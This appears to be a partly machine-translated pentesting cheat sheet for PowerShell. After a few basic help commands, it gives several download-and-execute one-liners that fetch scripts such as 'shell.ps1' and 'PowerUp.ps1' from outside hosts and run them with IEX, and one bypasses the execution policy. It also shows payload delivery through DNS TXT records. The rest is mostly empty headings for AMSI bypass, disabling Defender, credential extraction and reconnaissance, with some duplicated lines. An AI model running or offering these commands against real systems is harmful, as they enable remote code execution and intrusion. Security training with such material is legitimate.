Basic PowerShell for Pentesters
默认 PowerShell 位置
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell开始的基本 PowerShell 命令
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>下载 & 执行
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]使用 AMSI Bypass 后台下载并执行
在Linux中使用b64
下载
System.Net.WebClient
Invoke-WebRequest
调用-WebRequest
Wget
Wget
BitsTransfer
位传输
Base64 Kali & EncodedCommand
Base64 Kali & EncodedCommand
启用 WinRM(远程 PS)
禁用 Defender
AMSI bypass
AMSI Bypass 2 - Managed API Call Hooking
AMSI Bypass 3 - SeDebug Privilege
AMSI Bypass - 更多资源
PS-History
查找更新的文件
获取权限
操作系统版本和热补丁
环境
其他连接的驱动器
回收站
域侦察
PowerView/SharpView用户
将安全字符串转换为明文
SUDO
SUDO
用户组
剪贴板
进程
服务
从安全字符串获取密码
计划任务
网络
端口扫描
接口
防火墙
路由
ARP
ARP
主机
Ping
Ping
SNMP
将SDDL字符串转换为可读格式
最后更新于